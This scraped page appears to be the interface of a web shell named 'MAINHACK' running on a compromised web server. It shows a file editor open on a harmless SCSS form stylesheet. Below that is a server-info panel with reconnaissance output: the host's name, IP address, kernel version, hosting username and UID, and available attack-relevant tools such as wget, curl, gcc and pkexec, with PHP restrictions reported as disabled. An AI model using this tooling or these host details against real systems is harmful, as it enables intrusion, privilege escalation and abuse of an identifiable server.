[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: form-pages.scss
/******************* Custom-select ******************/ .custom-select { } /******************* textarea ******************/ textarea { resize: none; } /******************* Form-control ******************/ .form-control { color: $bodytext; min-height: 38px; display: initial; font-size: 0.9rem; } .form-control-sm { min-height: 20px; } .form-control:disabled, .form-control[readonly] { opacity: 0.7; } .custom-control-input:focus~.custom-control-indicator { box-shadow: none; } .custom-control-input:checked~.custom-control-indicator { background-color: $success; } form label { font-weight: 400; } .form-group { margin-bottom: 25px; &.form-group-checkbox{ margin-bottom: 15px; } } .form-horizontal label { margin-bottom: 0px; } .form-control-static { padding-top: 0px; } .form-bordered .form-group { border-bottom: 1px solid $border; padding-bottom: 20px; } /******************* Form Dropzone ******************/ .dropzone { border: 1px dashed $form-brd; .dz-message { padding: 5% 0; margin: 0px; } } /******************* Form Pickers ******************/ .asColorPicker-dropdown { max-width: 260px; } .asColorPicker-trigger { position: absolute; top: 0; right: -35px; height: 38px; width: 37px; border: 0; } .asColorPicker-clear { display: none; position: absolute; top: 5px; right: 10px; text-decoration: none; } table th { font-weight: 400; } .daterangepicker td.active, .daterangepicker td.active:hover { background-color: $themecolor; } .datepicker table tr td.today, .datepicker table tr td.today.disabled, .datepicker table tr td.today.disabled:hover, .datepicker table tr td.today:hover { background: $themecolor; color: $white; } .datepicker td, .datepicker th { padding: 5px 10px; } /******************* Form summernote ******************/ .note-popover, .note-icon-caret { display: none; } .note-editor.note-frame { border: 1px solid $form-brd; .panel-heading { padding: 6px 10px 10px; border-bottom: 1px solid $border; } } .label { display: inline-block; } /*============================================================== Form addons page ============================================================== */ /*Bootstrap select*/ .bootstrap-select:not([class*=col-]):not([class*=form-control]):not(.input-group-btn) { width: 100%; } .bootstrap-select { .dropdown-menu { li a { display: block; padding: 7px 20px; clear: both; font-weight: normal; line-height: 1.42857143; color: $bodytext; white-space: nowrap; &:hover, &:focus { color: $themecolor; background: $light; } } } .show>.dropdown-menu { display: block; } } .bootstrap-touchspin .input-group-btn-vertical>.btn { padding: 9px 10px; } .select2-container--default { .select2-selection--single { border-color: $form-brd; height: 38px; .select2-selection__rendered { line-height: 38px; } .select2-selection__arrow { height: 33px; } } .select2-selection--multiple { .select2-selection__choice__remove{ float: $rgt; color:$white; margin-right: 0px; margin-left: 4px; } .select2-selection__choice{ background: $themecolor; color:$white; border-color:$themecolor; } } } .input-form .btn { padding: 8px 12px; } /*============================================================== Form Material page ============================================================== */ /*Material inputs*/ .form-material .form-group { overflow: hidden; } .form-material .form-control { background-color: rgba(0, 0, 0, 0); background-position: center bottom, center calc(100% - 2px); background-repeat: no-repeat; background-size: 0 2px, 100% 1px; padding: 0; transition: background 0s ease-out 0s; } .form-material .form-control, .form-material .form-control.focus, .form-material .form-control:focus { background-image: linear-gradient($themecolor, $themecolor), linear-gradient($light, $light); border: 0 none; border-radius: 0; box-shadow: none; float: none; padding: 0px 8px; } .form-material .form-control.focus, .form-material .form-control:focus { background-size: 100% 2px, 100% 1px; outline: 0 none; transition-duration: 0.3s; } .form-control-line .form-group { overflow: hidden; } .form-control-line .form-control { border: 0px; border-radius: 0px; padding-left: 0px; border-bottom: 1px solid #f6f9ff; &:focus { border-bottom: 1px solid $themecolor; } } /******************* Form validation error ******************/ .error .help-block { color: $red; } /******************* File Upload ******************/ .fileupload { overflow: hidden; position: relative; input.upload { cursor: pointer; filter: alpha(opacity=0); font-size: 20px; margin: 0; opacity: 0; padding: 0; position: absolute; right: 0; top: 0; } } /******************* This is for the checkbox radio button and switch ******************/ $btn-box-shadow:0 3px 4px 1px rgba(0,0,0,.1); $btn-box-shadow-hover:0 1px 4px 0 rgba(0,0,0,.2); $box-shadow:0 1px 4px 0 rgba(0,0,0,.1); $text-shadow:rgba(0,0,0,.15) 0 0 1px; $colors: ( 'red': #fb3a3a, 'pink': #E91E63, 'purple': #7460ee, 'deep-purple': #673AB7, 'indigo': #3F51B5, 'blue': #02bec9, 'light-blue': #03A9F4, 'cyan': #00BCD4, 'teal': #009688, 'green': #26c6da, 'light-green': #8BC34A, 'lime': #CDDC39, 'yellow': #ffe821, 'amber': #FFC107, 'orange': #FF9800, 'deep-orange': #FF5722, 'brown': #795548, 'grey': #9E9E9E, 'blue-grey': #607D8B, 'black': #000000, 'white': #ffffff ) !default; /* Radio Buttons ========================================================================== */ [type="radio"]:not(:checked), [type="radio"]:checked { position: absolute; left: -9999px; opacity: 0; } [type="radio"]:not(:checked) + label, [type="radio"]:checked + label { position: relative; padding-left: 35px; cursor: pointer; display: inline-block; height: 25px; line-height: 25px; font-size: 1rem; transition: .28s ease; /* webkit (konqueror) browsers */ -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } [type="radio"] + label:before, [type="radio"] + label:after { content: ''; position: absolute; left: 0; top: 0; margin: 4px; width: 16px; height: 16px; z-index: 0; transition: .28s ease; } /* Unchecked styles */ [type="radio"]:not(:checked) + label:before, [type="radio"]:not(:checked) + label:after, [type="radio"]:checked + label:before, [type="radio"]:checked + label:after, [type="radio"].with-gap:checked + label:before, [type="radio"].with-gap:checked + label:after { border-radius: 50%; } [type="radio"]:not(:checked) + label:before, [type="radio"]:not(:checked) + label:after { border: 1px solid $form-brd; } [type="radio"]:not(:checked) + label:after { z-index: -1; -webkit-transform: scale(0); transform: scale(0); } /* Checked styles */ [type="radio"]:checked + label:before { border: 2px solid transparent; animation: ripple 0.2s linear forwards; } [type="radio"]:checked + label:after, [type="radio"].with-gap:checked + label:before, [type="radio"].with-gap:checked + label:after { border: 2px solid #26a69a; } [type="radio"]:checked + label:after, [type="radio"].with-gap:checked + label:after { background-color: $themecolor; z-index: 0; } [type="radio"]:checked + label:after { -webkit-transform: scale(1.02); transform: scale(1.02); } /* Radio With gap */ [type="radio"].with-gap:checked + label:after { -webkit-transform: scale(0.5); transform: scale(0.5); } /* Focused styles */ [type="radio"].tabbed:focus + label:before { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.1); animation: ripple 0.2s linear forwards; } /* Disabled Radio With gap */ [type="radio"].with-gap:disabled:checked + label:before { border: 2px solid rgba(0, 0, 0, 0.26); animation: ripple 0.2s linear forwards; } [type="radio"].with-gap:disabled:checked + label:after { border: none; background-color: rgba(0, 0, 0, 0.26); } /* Disabled style */ [type="radio"]:disabled:not(:checked) + label:before, [type="radio"]:disabled:checked + label:before { background-color: transparent; border-color: rgba(0, 0, 0, 0.26); animation: ripple 0.2s linear forwards; } [type="radio"]:disabled + label { color: rgba(0, 0, 0, 0.26); } [type="radio"]:disabled:not(:checked) + label:before { border-color: rgba(0, 0, 0, 0.26); } [type="radio"]:disabled:checked + label:after { background-color: rgba(0, 0, 0, 0.26); border-color: #BDBDBD; } /* Checkboxes ========================================================================== */ /* CUSTOM CSS CHECKBOXES */ form p { margin-bottom: 10px; text-align: left; } form p:last-child { margin-bottom: 0; } /* Remove default checkbox */ [type="checkbox"]:not(:checked), [type="checkbox"]:checked { position: absolute; left: -9999px; opacity: 0; } [type="checkbox"] { /* checkbox aspect */ } [type="checkbox"] + label { position: relative; padding-left: 35px; cursor: pointer; display: inline-block; height: 25px; line-height: 25px; font-size: 14px; -webkit-user-select: none; /* webkit (safari, chrome) browsers */ -moz-user-select: none; /* mozilla browsers */ -khtml-user-select: none; /* webkit (konqueror) browsers */ -ms-user-select: none; /* IE10+ */ } [type="checkbox"] + label:before, [type="checkbox"]:not(.filled-in) + label:after { content: ''; position: absolute; top: 0; left: 0; width: 18px; height: 18px; z-index: 0; border: 1px solid $form-brd; border-radius: 1px; margin-top: 2px; transition: .2s; } [type="checkbox"]:not(.filled-in) + label:after { border: 0; -webkit-transform: scale(0); transform: scale(0); } [type="checkbox"]:not(:checked):disabled + label:before { border: none; background-color: rgba(0, 0, 0, 0.26); } [type="checkbox"].tabbed:focus + label:after { -webkit-transform: scale(1); transform: scale(1); border: 0; border-radius: 50%; box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.1); background-color: rgba(0, 0, 0, 0.1); } [type="checkbox"]:checked + label:before { top: -4px; left: -5px; width: 12px; height: 22px; border-top: 2px solid transparent; border-left: 2px solid transparent; border-right: 2px solid $themecolor; border-bottom: 2px solid $themecolor; -webkit-transform: rotate(40deg); transform: rotate(40deg); -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-transform-origin: 100% 100%; transform-origin: 100% 100%; } [type="checkbox"]:checked:disabled + label:before { border-right: 2px solid rgba(0, 0, 0, 0.26); border-bottom: 2px solid rgba(0, 0, 0, 0.26); } /* Indeterminate checkbox */ [type="checkbox"]:indeterminate + label:before { top: -11px; left: -12px; width: 10px; height: 22px; border-top: none; border-left: none; border-right: 2px solid $themecolor; border-bottom: none; -webkit-transform: rotate(90deg); transform: rotate(90deg); -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-transform-origin: 100% 100%; transform-origin: 100% 100%; } [type="checkbox"]:indeterminate:disabled + label:before { border-right: 2px solid rgba(0, 0, 0, 0.26); background-color: transparent; } [type="checkbox"].filled-in + label:after { border-radius: 2px; } [type="checkbox"].filled-in + label:before, [type="checkbox"].filled-in + label:after { content: ''; left: 0; position: absolute; /* .1s delay is for check animation */ transition: border .25s, background-color .25s, width .20s .1s, height .20s .1s, top .20s .1s, left .20s .1s; z-index: 1; } [type="checkbox"].filled-in:not(:checked) + label:before { width: 0; height: 0; border: 3px solid transparent; left: 6px; top: 10px; -webkit-transform: rotateZ(37deg); transform: rotateZ(37deg); -webkit-transform-origin: 20% 40%; transform-origin: 100% 100%; } [type="checkbox"].filled-in:not(:checked) + label:after { height: 20px; width: 20px; background-color: transparent; border: 1px solid $form-brd; top: 0px; z-index: 0; } [type="checkbox"].filled-in:checked + label:before { top: 0; left: 1px; width: 8px; height: 13px; border-top: 2px solid transparent; border-left: 2px solid transparent; border-right: 2px solid #fff; border-bottom: 2px solid #fff; -webkit-transform: rotateZ(37deg); transform: rotateZ(37deg); -webkit-transform-origin: 100% 100%; transform-origin: 100% 100%; } [type="checkbox"].filled-in:checked + label:after { top: 0; width: 20px; height: 20px; border: 2px solid $themecolor; background-color: $themecolor; z-index: 0; } [type="checkbox"].filled-in.tabbed:focus + label:after { border-radius: 2px; border-color: #5a5a5a; background-color: rgba(0, 0, 0, 0.1); } [type="checkbox"].filled-in.tabbed:checked:focus + label:after { border-radius: 2px; background-color: $themecolor; border-color: $themecolor; } [type="checkbox"].filled-in:disabled:not(:checked) + label:before { background-color: transparent; border: 2px solid transparent; } [type="checkbox"].filled-in:disabled:not(:checked) + label:after { border-color: #ced4da; background-color: #e9ecef; } [type="checkbox"].filled-in:disabled:checked + label:before { background-color: transparent; } [type="checkbox"].filled-in:disabled:checked + label:after { background-color: #e9ecef !important; border-color: #BDBDBD !important; } [type="checkbox"].filled-in:disabled:checked + label:before { border-right: 2px solid #BDBDBD !important; border-bottom: 2px solid #BDBDBD !important; } /* Switch ========================================================================== */ .switch, .switch * { -webkit-user-select: none; -moz-user-select: none; -khtml-user-select: none; -ms-user-select: none; } .switch label { cursor: pointer; } .switch label input[type=checkbox] { opacity: 0; width: 0; height: 0; } .switch label input[type=checkbox]:checked + .lever { background-color: #24d2b5; } .switch label input[type=checkbox]:checked + .lever:after { background-color: $themecolor; left: 21px; } .switch label .lever { content: ""; display: inline-block; position: relative; width: 40px; height: 19px; background-color: #c7c7c7; border-radius: 15px; margin-right: 10px; transition: background 0.3s ease; vertical-align: middle; margin: 0 16px; } .switch label .lever:after { content: ""; position: absolute; display: inline-block; width: 17px; height: 17px; background-color: #F1F1F1; border-radius: 21px; /* box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4); */ left: 2px; top: 1px; transition: left 0.3s ease, background .3s ease, box-shadow 0.1s ease; } input[type=checkbox]:checked:not(:disabled) ~ .lever:active::after, input[type=checkbox]:checked:not(:disabled).tabbed:focus ~ .lever::after { box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4), 0 0 0 15px rgba(38, 166, 154, 0.1); } input[type=checkbox]:not(:disabled) ~ .lever:active:after, input[type=checkbox]:not(:disabled).tabbed:focus ~ .lever::after { box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4), 0 0 0 15px rgba(0, 0, 0, 0.08); } .switch input[type=checkbox][disabled] + .lever { cursor: default; } .switch label input[type=checkbox][disabled] + .lever:after, .switch label input[type=checkbox][disabled]:checked + .lever:after { background-color: #BDBDBD; } .scale-up{ -webkit-transition: all 0.3s ease; transition: all 0.3s ease; -webkit-transform: scale(0); transform: scale(0); display:inline-block; transform-origin: right 0px; } .scale-up-left{ -webkit-transition: all 0.3s ease; transition: all 0.3s ease; -webkit-transform: scale(0); transform: scale(0); display:inline-block; transform-origin: left 0px; } .show>.scale-up{ transform: scale(1); transform-origin: right 0px; } .show>.scale-up-left{ transform: scale(1); transform-origin: left 0px; } /*panels*/ .card{ box-shadow:$box-shadow; border-radius:$radius; } .well, pre{ box-shadow:$box-shadow; } .page-titles .justify-content-end:last-child .d-flex{ margin-right:10px; } .btn-circle.right-side-toggle{ position:fixed; bottom:20px; right:20px; padding:25px; z-index:10; } /*Radio button*/ @keyframes ripple { 0% { box-shadow: 0px 0px 0px 1px transparent; } 50% { box-shadow: 0px 0px 0px 15px rgba(0, 0, 0, 0.1); } 100% { box-shadow: 0px 0px 0px 15px transparent; } } /*Floating label*/ /*Bootstrap Select*/ .bootstrap-select.btn-group .dropdown-menu{ box-shadow: $box-shadow; } .demo-checkbox label, .demo-radio-button label{ min-width:200px; margin-bottom: 20px; } .demo-swtich .demo-switch-title, .demo-swtich .switch{ width: 150px; margin-bottom: 10px; display: inline-block; } [type="checkbox"] { + label { padding-left: 26px; height: 25px; line-height: 21px; font-weight: normal; } &:checked { + label { &:before { top: -4px; left: -2px; width: 11px; height: 19px; } } } @each $key, $val in $colors { &:checked.chk-col-#{$key} { + label { &:before { border-right: 2px solid $val; border-bottom: 2px solid $val; } } } } } [type="checkbox"].filled-in { &:checked { + label { &:after { top: 0; width: 20px; height: 20px; border: 2px solid #26a69a; background-color: #26a69a; z-index: 0; } &:before { border-right: 2px solid #ffffff !important; border-bottom: 2px solid #ffffff !important; } } } @each $key, $val in $colors { &:checked.chk-col-#{$key} { + label { &:after { border: 1px solid $val; background-color: $val; } } } } } [type="radio"] { &:not(:checked) { + label { padding-left: 26px; height: 25px; line-height: 25px; font-weight: normal; } } &:checked { + label { padding-left: 26px; height: 25px; line-height: 25px; font-weight: normal; } } } @each $key, $val in $colors { [type="radio"].radio-col-#{$key} { &:checked { + label { &:after { background-color: $val; border-color: $val; animation: ripple 0.2s linear forwards; } } } } } @each $key, $val in $colors { [type="radio"].with-gap.radio-col-#{$key} { &:checked { + label { &:before { border: 2px solid $val; animation: ripple 0.2s linear forwards; } &:after { background-color: $val; border: 2px solid $val; animation: ripple 0.2s linear forwards; } } } } } .switch { label { font-weight: normal; font-size: 13px; .lever { margin: 0 14px; } input[type=checkbox] { &:checked { @each $key, $val in $colors { &:not(:disabled) { ~ .lever.switch-col-#{$key} { &:active { &:after { box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.4), 0 0 0 15px rgba($val, 0.1); } } } } + .lever.switch-col-#{$key} { background-color: #24d2b5; &:after { background-color: #fff; } } } } } } } /*Form Validation*/ .help-block ul{ padding: 0px; margin: 0px; li{ list-style: none; } } .error .form-control{ border-color:$danger; } .validate .form-control{ border-color:$success; } /*others*/ .input-group-addon{ background-color: #f5f5f5; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002